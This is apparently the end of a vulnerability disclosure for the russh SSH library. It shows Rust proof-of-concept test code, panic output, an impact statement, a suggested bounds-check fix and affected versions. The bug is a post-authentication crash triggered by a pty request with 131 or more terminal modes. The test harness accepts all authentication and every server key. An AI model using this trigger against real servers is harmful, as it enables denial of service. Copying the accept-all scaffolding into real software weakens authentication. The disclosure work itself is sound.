Details
let _ = std::panic::take_hook();
(server_panicked, handler_ran)
}
#[derive(Clone)]
struct PtyServer { events: Arc<Mutex<Vec<&'static str>>> }
impl PtyServer {
fn record(&self, e: &'static str) { self.events.lock().unwrap().push(e); }
}
impl Handler for PtyServer {
type Error = russh::Error;
async fn auth_none(&mut self, _user: &str) -> Result<Auth, Self::Error> { Ok(Auth::Accept) }
async fn channel_open_session(
&mut self, _channel: Channel<Msg>, reply: ChannelOpenHandle, _session: &mut Session,
) -> Result<(), Self::Error> { reply.accept().await; Ok(()) }
async fn pty_request(
&mut self, _channel: ChannelId, _term: &str, _col_width: u32, _row_height: u32,
_pix_width: u32, _pix_height: u32, _modes: &[(Pty, u32)], _session: &mut Session,
) -> Result<(), Self::Error> { self.record("pty_request"); Ok(()) }
}
#[derive(Clone)]
struct AcceptAllClient {}
impl russh::client::Handler for AcceptAllClient {
type Error = russh::Error;
async fn check_server_key(
&mut self, _server_public_key: &russh::keys::PublicKey,
) -> Result<bool, Self::Error> { Ok(true) }
}
Real captured output (ATTACK, `RUST_BACKTRACE=1`):
[ATTACK ] client request_pty(131 modes) -> Ok(Ok(()))
[ATTACK server task panicked] panicked at russh/src/server/encrypted.rs:1201:39:
range end index 131 out of range for slice of length 130
thread 'tokio-rt-worker' panicked at russh/src/server/encrypted.rs:1201:39
stack backtrace:
3: <Session>::server_read_authenticated::<PtyServer>
4: <Session>::process_packet::<PtyServer>
5: russh::server::reply::<PtyServer>
[ATTACK ] server task panicked = true, pty_request handler ran = false
[CONTROL] server task panicked = false, pty_request handler ran = true
=> CONFIRMED (end-to-end, real russh 0.62.2)
The panic occurs in russh's own post-auth parser before any application
handler is invoked.
## Impact
**Remote, post-authentication denial of service of any russh SSH server using
the default configuration.** Any authenticated client with a session channel can
crash the russh server task with a single `SSH_MSG_CHANNEL_REQUEST` `pty-req`
carrying 131+ terminal-mode records (each record is 5 bytes, so 131 records
fit in one normal-sized packet). This is trivially reachable for any legitimate
or compromised SSH user. DoS only — Rust bounds-checked panics abort the task
safely; there is no memory corruption or RCE.
### Suggested fix
Cap `i` at 130 and reject the request instead of logging and continuing:
```rust
if i >= 130 {
return Err(Error::Inconsistent.into()); // reject instead of logging+continuing
}
modes[i] = (code, num);
Affected versions
russh<= 0.62.3 (commitc4be19f1915c/ currentmainHEADv0.62.3, 2026-07-22). The bug is still present onmain; it is not covered by any of the 11 published russh GHSA advisories. Defaultserver::Configandclient::Configare affected (no feature flag or opt-in).
Credit
Reported by the diff/ambidiff security research effort (afldl). Happy to
coordinate a disclosure timeline; will request a CVE once confirmed.